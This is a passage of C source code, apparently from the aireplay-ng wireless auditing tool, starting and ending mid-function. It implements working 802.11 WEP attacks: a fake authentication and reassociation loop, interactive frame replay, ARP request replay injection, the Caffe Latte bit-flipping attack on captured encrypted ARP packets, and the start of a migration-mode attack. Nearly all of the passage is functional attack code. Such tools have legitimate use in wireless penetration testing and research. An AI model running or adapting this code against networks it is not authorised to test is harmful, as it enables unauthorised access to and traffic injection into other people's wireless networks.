1 ); } break; case 7: /* sending reassociation request */ tries = 0; state = 8; if(opt.npackets == -1) x_send *= 2; tt = time( NULL ); /* attempt to reassociate */ memcpy( h80211, REASSOC_REQ, 34 ); memcpy( h80211 + 4, opt.r_bssid, 6 ); memcpy( h80211 + 10, opt.r_smac , 6 ); memcpy( h80211 + 16, opt.r_bssid, 6 ); n = strlen( opt.r_essid ); if( n > 32 ) n = 32; h80211[34] = 0x00; h80211[35] = n; memcpy( h80211 + 36, opt.r_essid, n ); memcpy( h80211 + 36 + n, RATES, 16 ); memcpy( h80211 + 30, capa, 2); PCT; printf( "Sending Reassociation Request" ); fflush( stdout ); gotack=0; for( i = 0; i < x_send; i++ ) { if( send_packet( h80211, 52 + n ) < 0 ) return( 1 ); usleep(10); if( send_packet( ackbuf, 14 ) < 0 ) return( 1 ); usleep(10); if( send_packet( ackbuf, 14 ) < 0 ) return( 1 ); } break; case 8: /* waiting for a reassociation response */ if( time( NULL ) - tt >= 5 ) { if( x_send < 256 && (opt.npackets == -1) ) x_send *= 4; state = 7; challengelen = 0; printf("\n"); } break; default: break; } /* read one frame */ FD_ZERO( &rfds ); FD_SET( dev.fd_in, &rfds ); tv.tv_sec = 1; tv.tv_usec = 0; if( select( dev.fd_in + 1, &rfds, NULL, NULL, &tv ) < 0 ) { if( errno == EINTR ) continue; perror( "select failed" ); return( 1 ); } if( ! FD_ISSET( dev.fd_in, &rfds ) ) continue; caplen = read_packet( h80211, sizeof( h80211 ), NULL ); if( caplen < 0 ) return( 1 ); if( caplen == 0 ) continue; if( caplen == 10 && h80211[0] == 0xD4) { if( memcmp(h80211+4, opt.r_smac, 6) == 0 ) { gotack++; if(gotack==1) { printf(" [ACK]"); fflush( stdout ); } } } gettimeofday(&tv3, NULL); //wait 100ms for acks if ( (((tv3.tv_sec*1000000 - tv2.tv_sec*1000000) + (tv3.tv_usec - tv2.tv_usec)) > (100*1000)) && (gotack > 0) && (gotack < packets) && (state == 3) && (packets > 1) ) { PCT; printf("Not enough acks, repeating...\n"); state=2; continue; } if( caplen < 24 ) continue; switch( h80211[1] & 3 ) { case 0: mi_b = 16; mi_s = 10; mi_d = 4; break; case 1: mi_b = 4; mi_s = 10; mi_d = 16; break; case 2: mi_b = 10; mi_s = 16; mi_d = 4; break; default: mi_b = 10; mi_d = 16; mi_s = 24; break; } /* check if the dest. MAC is ours and source == AP */ if( memcmp( h80211 + mi_d, opt.r_smac, 6 ) == 0 && memcmp( h80211 + mi_b, opt.r_bssid, 6 ) == 0 && memcmp( h80211 + mi_s, opt.r_bssid, 6 ) == 0 ) { /* check if we got an deauthentication packet */ if( h80211[0] == 0xC0 ) //removed && state == 4 { printf("\n"); PCT; printf( "Got a deauthentication packet! (Waiting %d seconds)\n", deauth_wait ); if(opt.npackets == -1) x_send = 4; state = 0; challengelen = 0; read_sleep( deauth_wait * 1000000 ); deauth_wait += 2; continue; } /* check if we got an disassociation packet */ if( h80211[0] == 0xA0 && state == 6 ) { printf("\n"); PCT; printf( "Got a disassociation packet! (Waiting %d seconds)\n", deauth_wait ); if(opt.npackets == -1) x_send = 4; state = 0; challengelen = 0; read_sleep( deauth_wait ); deauth_wait += 2; continue; } /* check if we got an authentication response */ if( h80211[0] == 0xB0 && (state == 1 || state == 3) ) { if(ska) { if( (state==1 && h80211[26] != 0x02) || (state==3 && h80211[26] != 0x04) ) continue; } printf("\n"); PCT; state = 0; if( caplen < 30 ) { printf( "Error: packet length < 30 bytes\n" ); read_sleep( 3*1000000 ); challengelen = 0; continue; } if( (h80211[24] != 0 || h80211[25] != 0) && ska==0) { ska=1; printf("Switching to shared key authentication\n"); read_sleep(2*1000000); //read sleep 2s challengelen = 0; continue; } n = h80211[28] + ( h80211[29] << 8 ); if( n != 0 ) { switch( n ) { case 1: printf( "AP rejects the source MAC address (%02X:%02X:%02X:%02X:%02X:%02X) ?\n", opt.r_smac[0], opt.r_smac[1], opt.r_smac[2], opt.r_smac[3], opt.r_smac[4], opt.r_smac[5] ); break; case 10: printf( "AP rejects our capabilities\n" ); break; case 13: case 15: ska=1; if(h80211[26] == 0x02) printf("Switching to shared key authentication\n"); if(h80211[26] == 0x04) { printf("Challenge failure\n"); challengelen=0; } read_sleep(2*1000000); //read sleep 2s challengelen = 0; continue; default: break; } printf( "Authentication failed (code %d)\n", n ); if(opt.npackets == -1) x_send = 4; read_sleep( 3*1000000 ); challengelen = 0; continue; } if(ska && h80211[26]==0x02 && challengelen == 0) { memcpy(challenge, h80211+24, caplen-24); challengelen=caplen-24; } if(ska) { if(h80211[26]==0x02) { state = 2; /* grab challenge */ printf( "Authentication 1/2 successful\n" ); } if(h80211[26]==0x04) { state = 4; printf( "Authentication 2/2 successful\n" ); } } else { printf( "Authentication successful\n" ); state = 4; /* auth. done */ } } /* check if we got an association response */ if( h80211[0] == 0x10 && state == 5 ) { printf("\n"); state = 0; PCT; if( caplen < 30 ) { printf( "Error: packet length < 30 bytes\n" ); sleep( 3 ); challengelen = 0; continue; } n = h80211[26] + ( h80211[27] << 8 ); if( n != 0 ) { switch( n ) { case 1: printf( "Denied (code 1), is WPA in use ?\n" ); break; case 10: printf( "Denied (code 10), open (no WEP) ?\n" ); break; case 12: printf( "Denied (code 12), wrong ESSID or WPA ?\n" ); break; default: printf( "Association denied (code %d)\n", n ); break; } sleep( 3 ); challengelen = 0; continue; } aid=( ( (h80211[29] << 8) || (h80211[28]) ) & 0x3FFF); printf( "Association successful :-) (AID: %d)\n", aid ); deauth_wait = 3; fflush( stdout ); tt = time( NULL ); tr = time( NULL ); state = 6; /* assoc. done */ } /* check if we got an reassociation response */ if( h80211[0] == 0x30 && state == 8 ) { printf("\n"); state = 7; PCT; if( caplen < 30 ) { printf( "Error: packet length < 30 bytes\n" ); sleep( 3 ); challengelen = 0; continue; } n = h80211[26] + ( h80211[27] << 8 ); if( n != 0 ) { switch( n ) { case 1: printf( "Denied (code 1), is WPA in use ?\n" ); break; case 10: printf( "Denied (code 10), open (no WEP) ?\n" ); break; case 12: printf( "Denied (code 12), wrong ESSID or WPA ?\n" ); break; default: printf( "Reassociation denied (code %d)\n", n ); break; } sleep( 3 ); challengelen = 0; continue; } aid=( ( (h80211[29] << 8) || (h80211[28]) ) & 0x3FFF); printf( "Reassociation successful :-) (AID: %d)\n", aid ); deauth_wait = 3; fflush( stdout ); tt = time( NULL ); tr = time( NULL ); state = 6; /* reassoc. done */ } } } return( 0 ); } int do_attack_interactive( void ) { int caplen, n, z; int mi_b, mi_s, mi_d; struct timeval tv; struct timeval tv2; float f, ticks[3]; unsigned char bssid[6]; unsigned char smac[6]; unsigned char dmac[6]; read_packets: if( capture_ask_packet( &caplen, 0 ) != 0 ) return( 1 ); z = ( ( h80211[1] & 3 ) != 3 ) ? 24 : 30; if ( ( h80211[0] & 0x80 ) == 0x80 ) /* QoS */ z+=2; /* rewrite the frame control & MAC addresses */ switch( h80211[1] & 3 ) { case 0: mi_b = 16; mi_s = 10; mi_d = 4; break; case 1: mi_b = 4; mi_s = 10; mi_d = 16; break; case 2: mi_b = 10; mi_s = 16; mi_d = 4; break; default: mi_b = 10; mi_d = 16; mi_s = 24; break; } if( memcmp( opt.r_bssid, NULL_MAC, 6 ) == 0 ) memcpy( bssid, h80211 + mi_b, 6 ); else memcpy( bssid, opt.r_bssid, 6 ); if( memcmp( opt.r_smac , NULL_MAC, 6 ) == 0 ) memcpy( smac, h80211 + mi_s, 6 ); else memcpy( smac, opt.r_smac, 6 ); if( memcmp( opt.r_dmac , NULL_MAC, 6 ) == 0 ) memcpy( dmac, h80211 + mi_d, 6 ); else memcpy( dmac, opt.r_dmac, 6 ); if( opt.r_fctrl != -1 ) { h80211[0] = opt.r_fctrl >> 8; h80211[1] = opt.r_fctrl & 0xFF; switch( h80211[1] & 3 ) { case 0: mi_b = 16; mi_s = 10; mi_d = 4; break; case 1: mi_b = 4; mi_s = 10; mi_d = 16; break; case 2: mi_b = 10; mi_s = 16; mi_d = 4; break; default: mi_b = 10; mi_d = 16; mi_s = 24; break; } } memcpy( h80211 + mi_b, bssid, 6 ); memcpy( h80211 + mi_s, smac , 6 ); memcpy( h80211 + mi_d, dmac , 6 ); /* loop resending the packet */ /* Check if airodump-ng is running. If not, print that message */ printf( "You should also start airodump-ng to capture replies.\n\n" ); signal( SIGINT, sighandler ); ctrl_c = 0; memset( ticks, 0, sizeof( ticks ) ); nb_pkt_sent = 0; while( 1 ) { if( ctrl_c ) goto read_packets; /* wait for the next timer interrupt, or sleep */ if( dev.fd_rtc >= 0 ) { if( read( dev.fd_rtc, &n, sizeof( n ) ) < 0 ) { perror( "read(/dev/rtc) failed" ); return( 1 ); } ticks[0]++; ticks[1]++; ticks[2]++; } else { /* we can't trust usleep, since it depends on the HZ */ gettimeofday( &tv, NULL ); usleep( 1000000/RTC_RESOLUTION ); gettimeofday( &tv2, NULL ); f = 1000000 * (float) ( tv2.tv_sec - tv.tv_sec ) + (float) ( tv2.tv_usec - tv.tv_usec ); ticks[0] += f / ( 1000000/RTC_RESOLUTION ); ticks[1] += f / ( 1000000/RTC_RESOLUTION ); ticks[2] += f / ( 1000000/RTC_RESOLUTION ); } /* update the status line */ if( ticks[1] > (RTC_RESOLUTION/10) ) { ticks[1] = 0; printf( "\rSent %ld packets...(%d pps)\33[K\r", nb_pkt_sent, (int)((double)nb_pkt_sent/((double)ticks[0]/(double)RTC_RESOLUTION))); fflush( stdout ); } if( ( ticks[2] * opt.r_nbpps ) / RTC_RESOLUTION < 1 ) continue; /* threshold reached */ ticks[2] = 0; if( nb_pkt_sent == 0 ) ticks[0] = 0; if( send_packet( h80211, caplen ) < 0 ) return( 1 ); if( ((double)ticks[0]/(double)RTC_RESOLUTION)*(double)opt.r_nbpps > (double)nb_pkt_sent ) { if( send_packet( h80211, caplen ) < 0 ) return( 1 ); } } return( 0 ); } int do_attack_arp_resend( void ) { int nb_bad_pkt; int arp_off1, arp_off2; int i, n, caplen, nb_arp, z; long nb_pkt_read, nb_arp_tot, nb_ack_pkt; time_t tc; float f, ticks[3]; struct timeval tv; struct timeval tv2; struct tm *lt; FILE *f_cap_out; struct pcap_file_header pfh_out; struct pcap_pkthdr pkh; struct ARP_req * arp; /* capture only WEP data to broadcast address */ opt.f_type = 2; opt.f_subtype = 0; opt.f_iswep = 1; memset( opt.f_dmac, 0xFF, 6 ); if( memcmp( opt.r_smac, NULL_MAC, 6 ) == 0 ) { printf( "Please specify a source MAC (-h).\n" ); return( 1 ); } if(getnet(NULL, 1, 1) != 0) return 1; /* create and write the output pcap header */ gettimeofday( &tv, NULL ); pfh_out.magic = TCPDUMP_MAGIC; pfh_out.version_major = PCAP_VERSION_MAJOR; pfh_out.version_minor = PCAP_VERSION_MINOR; pfh_out.thiszone = 0; pfh_out.sigfigs = 0; pfh_out.snaplen = 65535; pfh_out.linktype = LINKTYPE_IEEE802_11; lt = localtime( (const time_t *) &tv.tv_sec ); memset( strbuf, 0, sizeof( strbuf ) ); snprintf( strbuf, sizeof( strbuf ) - 1, "replay_arp-%02d%02d-%02d%02d%02d.cap", lt->tm_mon + 1, lt->tm_mday, lt->tm_hour, lt->tm_min, lt->tm_sec ); printf( "Saving ARP requests in %s\n", strbuf ); if( ( f_cap_out = fopen( strbuf, "wb+" ) ) == NULL ) { perror( "fopen failed" ); return( 1 ); } n = sizeof( struct pcap_file_header ); if( fwrite( &pfh_out, n, 1, f_cap_out ) != 1 ) { perror( "fwrite failed\n" ); return( 1 ); } fflush( f_cap_out ); printf( "You should also start airodump-ng to capture replies.\n" ); if(opt.port_in <= 0) { /* avoid blocking on reading the socket */ if( fcntl( dev.fd_in, F_SETFL, O_NONBLOCK ) < 0 ) { perror( "fcntl(O_NONBLOCK) failed" ); return( 1 ); } } if ( opt.ringbuffer ) arp = (struct ARP_req*) malloc( opt.ringbuffer * sizeof( struct ARP_req ) ); else arp = (struct ARP_req*) malloc( sizeof( struct ARP_req ) ); memset( ticks, 0, sizeof( ticks ) ); tc = time( NULL ) - 11; nb_pkt_read = 0; nb_bad_pkt = 0; nb_ack_pkt = 0; nb_arp = 0; nb_arp_tot = 0; arp_off1 = 0; arp_off2 = 0; while( 1 ) { /* sleep until the next clock tick */ if( dev.fd_rtc >= 0 ) { if( read( dev.fd_rtc, &n, sizeof( n ) ) < 0 ) { perror( "read(/dev/rtc) failed" ); return( 1 ); } ticks[0]++; ticks[1]++; ticks[2]++; } else { gettimeofday( &tv, NULL ); usleep( 1000000/RTC_RESOLUTION ); gettimeofday( &tv2, NULL ); f = 1000000 * (float) ( tv2.tv_sec - tv.tv_sec ) + (float) ( tv2.tv_usec - tv.tv_usec ); ticks[0] += f / ( 1000000/RTC_RESOLUTION ); ticks[1] += f / ( 1000000/RTC_RESOLUTION ); ticks[2] += f / ( 1000000/RTC_RESOLUTION ); } if( ticks[1] > (RTC_RESOLUTION/10) ) { ticks[1] = 0; printf( "\rRead %ld packets (got %ld ARP requests and %ld ACKs), " "sent %ld packets...(%d pps)\r", nb_pkt_read, nb_arp_tot, nb_ack_pkt, nb_pkt_sent, (int)((double)nb_pkt_sent/((double)ticks[0]/(double)RTC_RESOLUTION)) ); fflush( stdout ); } if( ( ticks[2] * opt.r_nbpps ) / RTC_RESOLUTION >= 1 ) { /* threshold reach, send one frame */ ticks[2] = 0; if( nb_arp > 0 ) { if( nb_pkt_sent == 0 ) ticks[0] = 0; if( send_packet( arp[arp_off1].buf, arp[arp_off1].len ) < 0 ) return( 1 ); if( ((double)ticks[0]/(double)RTC_RESOLUTION)*(double)opt.r_nbpps > (double)nb_pkt_sent ) { if( send_packet( arp[arp_off1].buf, arp[arp_off1].len ) < 0 ) return( 1 ); } if( ++arp_off1 >= nb_arp ) arp_off1 = 0; } } /* read a frame, and check if it's an ARP request */ if( opt.s_file == NULL ) { gettimeofday( &tv, NULL ); caplen = read_packet( h80211, sizeof( h80211 ), NULL ); if( caplen < 0 ) return( 1 ); if( caplen == 0 ) continue; } else { n = sizeof( pkh ); if( fread( &pkh, n, 1, dev.f_cap_in ) != 1 ) { opt.s_file = NULL; continue; } if( dev.pfh_in.magic == TCPDUMP_CIGAM ) { SWAP32( pkh.caplen ); SWAP32( pkh.len ); } tv.tv_sec = pkh.tv_sec; tv.tv_usec = pkh.tv_usec; n = caplen = pkh.caplen; if( n <= 0 || n > (int) sizeof( h80211 ) || n > (int) sizeof( tmpbuf ) ) { printf( "\r\33[KInvalid packet length %d.\n", n ); opt.s_file = NULL; continue; } if( fread( h80211, n, 1, dev.f_cap_in ) != 1 ) { opt.s_file = NULL; continue; } if( dev.pfh_in.linktype == LINKTYPE_PRISM_HEADER ) { /* remove the prism header */ if( h80211[7] == 0x40 ) n = 64; else n = *(int *)( h80211 + 4 ); if( n < 8 || n >= (int) caplen ) continue; memcpy( tmpbuf, h80211, caplen ); caplen -= n; memcpy( h80211, tmpbuf + n, caplen ); } if( dev.pfh_in.linktype == LINKTYPE_RADIOTAP_HDR ) { /* remove the radiotap header */ n = *(unsigned short *)( h80211 + 2 ); if( n <= 0 || n >= (int) caplen ) continue; memcpy( tmpbuf, h80211, caplen ); caplen -= n; memcpy( h80211, tmpbuf + n, caplen ); } if( dev.pfh_in.linktype == LINKTYPE_PPI_HDR ) { /* remove the PPI header */ n = le16_to_cpu(*(unsigned short *)( h80211 + 2)); if( n <= 0 || n>= (int) caplen ) continue; /* for a while Kismet logged broken PPI headers */ if ( n == 24 && le16_to_cpu(*(unsigned short *)(h80211 + 8)) == 2 ) n = 32; if( n <= 0 || n>= (int) caplen ) continue; memcpy( tmpbuf, h80211, caplen ); caplen -= n; memcpy( h80211, tmpbuf + n, caplen ); } } nb_pkt_read++; /* check if it's a disassociation or deauthentication packet */ if( ( h80211[0] == 0xC0 || h80211[0] == 0xA0 ) && ! memcmp( h80211 + 4, opt.r_smac, 6 ) ) { nb_bad_pkt++; if( nb_bad_pkt > 64 && time( NULL ) - tc >= 10 ) { printf( "\33[KNotice: got a deauth/disassoc packet. Is the " "source MAC associated ?\n" ); tc = time( NULL ); nb_bad_pkt = 0; } } if( h80211[0] == 0xD4 && ! memcmp( h80211 + 4, opt.r_smac, 6 ) ) { nb_ack_pkt++; } /* check if it's a potential ARP request */ opt.f_minlen = opt.f_maxlen = 68; if( filter_packet( h80211, caplen ) == 0 ) goto add_arp; opt.f_minlen = opt.f_maxlen = 86; if( filter_packet( h80211, caplen ) == 0 ) { add_arp: z = ( ( h80211[1] & 3 ) != 3 ) ? 24 : 30; if ( ( h80211[0] & 0x80 ) == 0x80 ) /* QoS */ z+=2; switch( h80211[1] & 3 ) { case 1: /* ToDS */ { /* keep as a ToDS packet */ memcpy( h80211 + 4, opt.f_bssid, 6 ); memcpy( h80211 + 10, opt.r_smac, 6 ); memcpy( h80211 + 16, opt.f_dmac, 6 ); h80211[1] = 0x41; /* ToDS & WEP */ } case 2: /* FromDS */ { if( opt.r_fromdsinj ) { /* keep as a FromDS packet */ memcpy( h80211 + 4, opt.f_dmac, 6 ); memcpy( h80211 + 10, opt.f_bssid, 6 ); memcpy( h80211 + 16, opt.r_smac, 6 ); h80211[1] = 0x42; /* FromDS & WEP */ } else { /* rewrite header to make it a ToDS packet */ memcpy( h80211 + 4, opt.f_bssid, 6 ); memcpy( h80211 + 10, opt.r_smac, 6 ); memcpy( h80211 + 16, opt.f_dmac, 6 ); h80211[1] = 0x41; /* ToDS & WEP */ } } } //should be correct already, keep qos/wds status // h80211[0] = 0x08; /* normal data */ /* if same IV, perhaps our own packet, skip it */ for( i = 0; i < nb_arp; i++ ) { if( memcmp( h80211 + z, arp[i].buf + arp[i].hdrlen, 4 ) == 0 ) break; } if( i < nb_arp ) continue; if( caplen > 128) continue; /* add the ARP request in the ring buffer */ nb_arp_tot++; /* Ring buffer size: by default: 8 ) */ if( nb_arp >= opt.ringbuffer && opt.ringbuffer > 0) { /* no more room, overwrite oldest entry */ memcpy( arp[arp_off2].buf, h80211, caplen ); arp[arp_off2].len = caplen; arp[arp_off2].hdrlen = z; if( ++arp_off2 >= nb_arp ) arp_off2 = 0; } else { if( ( arp[nb_arp].buf = malloc( 128 ) ) == NULL ) { perror( "malloc failed" ); return( 1 ); } memcpy( arp[nb_arp].buf, h80211, caplen ); arp[nb_arp].len = caplen; arp[nb_arp].hdrlen = z; nb_arp++; pkh.tv_sec = tv.tv_sec; pkh.tv_usec = tv.tv_usec; pkh.caplen = caplen; pkh.len = caplen; n = sizeof( pkh ); if( fwrite( &pkh, n, 1, f_cap_out ) != 1 ) { perror( "fwrite failed" ); return( 1 ); } n = pkh.caplen; if( fwrite( h80211, n, 1, f_cap_out ) != 1 ) { perror( "fwrite failed" ); return( 1 ); } fflush( f_cap_out ); } } } return( 0 ); } int do_attack_caffe_latte( void ) { int nb_bad_pkt; int arp_off1, arp_off2; int i, n, caplen, nb_arp, z; long nb_pkt_read, nb_arp_tot, nb_ack_pkt; unsigned char flip[4096]; time_t tc; float f, ticks[3]; struct timeval tv; struct timeval tv2; struct tm *lt; FILE *f_cap_out; struct pcap_file_header pfh_out; struct pcap_pkthdr pkh; struct ARP_req * arp; /* capture only WEP data to broadcast address */ opt.f_type = 2; opt.f_subtype = 0; opt.f_iswep = 1; opt.f_fromds = 0; if(getnet(NULL, 1, 1) != 0) return 1; if( memcmp( opt.f_bssid, NULL_MAC, 6 ) == 0 ) { printf( "Please specify a BSSID (-b).\n" ); return( 1 ); } /* create and write the output pcap header */ gettimeofday( &tv, NULL ); pfh_out.magic = TCPDUMP_MAGIC; pfh_out.version_major = PCAP_VERSION_MAJOR; pfh_out.version_minor = PCAP_VERSION_MINOR; pfh_out.thiszone = 0; pfh_out.sigfigs = 0; pfh_out.snaplen = 65535; pfh_out.linktype = LINKTYPE_IEEE802_11; lt = localtime( (const time_t *) &tv.tv_sec ); memset( strbuf, 0, sizeof( strbuf ) ); snprintf( strbuf, sizeof( strbuf ) - 1, "replay_arp-%02d%02d-%02d%02d%02d.cap", lt->tm_mon + 1, lt->tm_mday, lt->tm_hour, lt->tm_min, lt->tm_sec ); printf( "Saving ARP requests in %s\n", strbuf ); if( ( f_cap_out = fopen( strbuf, "wb+" ) ) == NULL ) { perror( "fopen failed" ); return( 1 ); } n = sizeof( struct pcap_file_header ); if( fwrite( &pfh_out, n, 1, f_cap_out ) != 1 ) { perror( "fwrite failed\n" ); return( 1 ); } fflush( f_cap_out ); printf( "You should also start airodump-ng to capture replies.\n" ); if(opt.port_in <= 0) { /* avoid blocking on reading the socket */ if( fcntl( dev.fd_in, F_SETFL, O_NONBLOCK ) < 0 ) { perror( "fcntl(O_NONBLOCK) failed" ); return( 1 ); } } if ( opt.ringbuffer ) arp = (struct ARP_req*) malloc( opt.ringbuffer * sizeof( struct ARP_req ) ); else arp = (struct ARP_req*) malloc( sizeof( struct ARP_req ) ); memset( ticks, 0, sizeof( ticks ) ); tc = time( NULL ) - 11; nb_pkt_read = 0; nb_bad_pkt = 0; nb_ack_pkt = 0; nb_arp = 0; nb_arp_tot = 0; arp_off1 = 0; arp_off2 = 0; while( 1 ) { /* sleep until the next clock tick */ if( dev.fd_rtc >= 0 ) { if( read( dev.fd_rtc, &n, sizeof( n ) ) < 0 ) { perror( "read(/dev/rtc) failed" ); return( 1 ); } ticks[0]++; ticks[1]++; ticks[2]++; } else { gettimeofday( &tv, NULL ); usleep( 1000000/RTC_RESOLUTION ); gettimeofday( &tv2, NULL ); f = 1000000 * (float) ( tv2.tv_sec - tv.tv_sec ) + (float) ( tv2.tv_usec - tv.tv_usec ); ticks[0] += f / ( 1000000/RTC_RESOLUTION ); ticks[1] += f / ( 1000000/RTC_RESOLUTION ); ticks[2] += f / ( 1000000/RTC_RESOLUTION ); } if( ticks[1] > (RTC_RESOLUTION/10) ) { ticks[1] = 0; printf( "\rRead %ld packets (%ld ARPs, %ld ACKs), " "sent %ld packets...(%d pps)\r", nb_pkt_read, nb_arp_tot, nb_ack_pkt, nb_pkt_sent, (int)((double)nb_pkt_sent/((double)ticks[0]/(double)RTC_RESOLUTION)) ); fflush( stdout ); } if( ( ticks[2] * opt.r_nbpps ) / RTC_RESOLUTION >= 1 ) { /* threshold reach, send one frame */ ticks[2] = 0; if( nb_arp > 0 ) { if( nb_pkt_sent == 0 ) ticks[0] = 0; if( send_packet( arp[arp_off1].buf, arp[arp_off1].len ) < 0 ) return( 1 ); if( ((double)ticks[0]/(double)RTC_RESOLUTION)*(double)opt.r_nbpps > (double)nb_pkt_sent ) { if( send_packet( arp[arp_off1].buf, arp[arp_off1].len ) < 0 ) return( 1 ); } if( ++arp_off1 >= nb_arp ) arp_off1 = 0; } } /* read a frame, and check if it's an ARP request */ if( opt.s_file == NULL ) { gettimeofday( &tv, NULL ); caplen = read_packet( h80211, sizeof( h80211 ), NULL ); if( caplen < 0 ) return( 1 ); if( caplen == 0 ) continue; } else { n = sizeof( pkh ); if( fread( &pkh, n, 1, dev.f_cap_in ) != 1 ) { opt.s_file = NULL; continue; } if( dev.pfh_in.magic == TCPDUMP_CIGAM ) { SWAP32( pkh.caplen ); SWAP32( pkh.len ); } tv.tv_sec = pkh.tv_sec; tv.tv_usec = pkh.tv_usec; n = caplen = pkh.caplen; if( n <= 0 || n > (int) sizeof( h80211 ) || n > (int) sizeof( tmpbuf ) ) { printf( "\r\33[KInvalid packet length %d.\n", n ); opt.s_file = NULL; continue; } if( fread( h80211, n, 1, dev.f_cap_in ) != 1 ) { opt.s_file = NULL; continue; } if( dev.pfh_in.linktype == LINKTYPE_PRISM_HEADER ) { /* remove the prism header */ if( h80211[7] == 0x40 ) n = 64; else n = *(int *)( h80211 + 4 ); if( n < 8 || n >= (int) caplen ) continue; memcpy( tmpbuf, h80211, caplen ); caplen -= n; memcpy( h80211, tmpbuf + n, caplen ); } if( dev.pfh_in.linktype == LINKTYPE_RADIOTAP_HDR ) { /* remove the radiotap header */ n = *(unsigned short *)( h80211 + 2 ); if( n <= 0 || n >= (int) caplen ) continue; memcpy( tmpbuf, h80211, caplen ); caplen -= n; memcpy( h80211, tmpbuf + n, caplen ); } if( dev.pfh_in.linktype == LINKTYPE_PPI_HDR ) { /* remove the PPI header */ n = le16_to_cpu(*(unsigned short *)( h80211 + 2)); if( n <= 0 || n>= (int) caplen ) continue; /* for a while Kismet logged broken PPI headers */ if ( n == 24 && le16_to_cpu(*(unsigned short *)(h80211 + 8)) == 2 ) n = 32; if( n <= 0 || n>= (int) caplen ) continue; memcpy( tmpbuf, h80211, caplen ); caplen -= n; memcpy( h80211, tmpbuf + n, caplen ); } } nb_pkt_read++; /* check if it's a disas. or deauth packet */ if( ( h80211[0] == 0xC0 || h80211[0] == 0xA0 ) && ! memcmp( h80211 + 4, opt.r_smac, 6 ) ) { nb_bad_pkt++; if( nb_bad_pkt > 64 && time( NULL ) - tc >= 10 ) { printf( "\33[KNotice: got a deauth/disassoc packet. Is the " "source MAC associated ?\n" ); tc = time( NULL ); nb_bad_pkt = 0; } } if( h80211[0] == 0xD4 && ! memcmp( h80211 + 4, opt.f_bssid, 6 ) ) { nb_ack_pkt++; } /* check if it's a potential ARP request */ opt.f_minlen = opt.f_maxlen = 68; if( filter_packet( h80211, caplen ) == 0 ) goto add_arp; opt.f_minlen = opt.f_maxlen = 86; if( filter_packet( h80211, caplen ) == 0 ) { add_arp: z = ( ( h80211[1] & 3 ) != 3 ) ? 24 : 30; if ( ( h80211[0] & 0x80 ) == 0x80 ) /* QoS */ z+=2; switch( h80211[1] & 3 ) { case 0: /* ad-hoc */ { if(memcmp(h80211 + 16, BROADCAST, 6) == 0) { /* rewrite to an ad-hoc packet */ memcpy( h80211 + 4, BROADCAST, 6 ); memcpy( h80211 + 10, opt.r_smac, 6 ); memcpy( h80211 + 16, opt.f_bssid, 6 ); h80211[1] = 0x40; /* WEP */ } else { nb_arp_tot++; continue; } break; } case 1: /* ToDS */ { if(memcmp(h80211 + 16, BROADCAST, 6) == 0) { /* rewrite to a FromDS packet */ memcpy( h80211 + 4, BROADCAST, 6 ); memcpy( h80211 + 10, opt.f_bssid, 6 ); memcpy( h80211 + 16, opt.f_bssid, 6 ); h80211[1] = 0x42; /* ToDS & WEP */ } else { nb_arp_tot++; continue; } break; } default: continue; } // h80211[0] = 0x08; /* normal data */ /* if same IV, perhaps our own packet, skip it */ for( i = 0; i < nb_arp; i++ ) { if( memcmp( h80211 + z, arp[i].buf + arp[i].hdrlen, 4 ) == 0 ) break; } if( i < nb_arp ) continue; if( caplen > 128) continue; /* add the ARP request in the ring buffer */ nb_arp_tot++; /* Ring buffer size: by default: 8 ) */ if( nb_arp >= opt.ringbuffer && opt.ringbuffer > 0) continue; else { if( ( arp[nb_arp].buf = malloc( 128 ) ) == NULL ) { perror( "malloc failed" ); return( 1 ); } memset(flip, 0, 4096); // flip[49-24-4] ^= ((rand() % 255)+1); //flip random bits in last byte of sender MAC // flip[53-24-4] ^= ((rand() % 255)+1); //flip random bits in last byte of sender IP flip[z+21] ^= ((rand() % 255)+1); //flip random bits in last byte of sender MAC flip[z+25] ^= ((rand() % 255)+1); //flip random bits in last byte of sender IP add_crc32_plain(flip, caplen-z-4-4); for(i=0; i<caplen-z-4; i++) (h80211+z+4)[i] ^= flip[i]; memcpy( arp[nb_arp].buf, h80211, caplen ); arp[nb_arp].len = caplen; arp[nb_arp].hdrlen = z; nb_arp++; pkh.tv_sec = tv.tv_sec; pkh.tv_usec = tv.tv_usec; pkh.caplen = caplen; pkh.len = caplen; n = sizeof( pkh ); if( fwrite( &pkh, n, 1, f_cap_out ) != 1 ) { perror( "fwrite failed" ); return( 1 ); } n = pkh.caplen; if( fwrite( h80211, n, 1, f_cap_out ) != 1 ) { perror( "fwrite failed" ); return( 1 ); } fflush( f_cap_out ); } } } return( 0 ); } int do_attack_migmode( void ) { int nb_bad_pkt; int arp_off1, arp_off2; int i, n, caplen, nb_arp, z; long nb_pkt_read, nb_arp_tot, nb_ack_pkt; unsigned char flip[4096]; unsigned char senderMAC[6]; time_t tc; float f, ticks[3]; struct timeval tv; struct timeval tv2; struct tm *lt; FILE *f_cap_out; struct pcap_file_header pfh_out; struct pcap_pkthdr pkh; struct ARP_req * arp; if ( opt.ringbuffer ) arp = (struct ARP_req*) malloc( opt.ringbuffer * sizeof( struct ARP_req ) ); else arp = (struct ARP_req*) malloc( sizeof( struct ARP_req ) ); /* capture only WEP data to broadcast address */ opt.f_type = 2; opt.f_subtype = 0; opt.f_iswep = 1; opt.f_fromds = 1; if(getnet(NULL, 1, 1) != 0) return 1; if( memcmp( opt.f_bssid, NULL_MAC, 6 ) == 0 ) { printf( "Please specify a BSSID (-b).\n" ); return( 1 ); } /* create and write the output pcap header */ gettimeofday( &tv, NULL ); pfh_out.magic = TCPDUMP_MAGIC; pfh_out.version_major = PCAP_VERSION_MAJOR; pfh_out.version_minor = PCAP_VERSION_MINOR; pfh_out.thiszone = 0; pfh_out.sigfigs = 0; pfh_out.snaplen = 65535; pfh_out.linktype = LINKTYPE_IEEE802_11; lt = localtime( (const time_t *) &tv.tv_sec ); memset( strbuf, 0, sizeof( strbuf ) ); snprintf( strbuf, sizeof( strbuf ) - 1, "replay_arp-%02d%02d-%02d%02d%02d.cap", lt->tm_mon + 1, lt->tm_mday, lt->tm_hour, lt->tm_min, lt->tm_sec ); printf( "Saving ARP requests in %s\n", strbuf ); if( ( f_cap_out = fopen( strbuf, "wb+" ) ) == NULL ) { perror( "fopen failed" ); return( 1 ); } n = sizeof( struct pcap_file_header ); if( fwrite( &pfh_out, n, 1, f_cap_out ) != 1 ) { perror( "fwrite failed\n" ); return( 1 ); } fflush( f_cap_out ); printf( "You should also start airodump-ng to capture replies.\n" ); printf( "Remember to filter the capture to only keep WEP frames: "); printf( " \"tshark -R 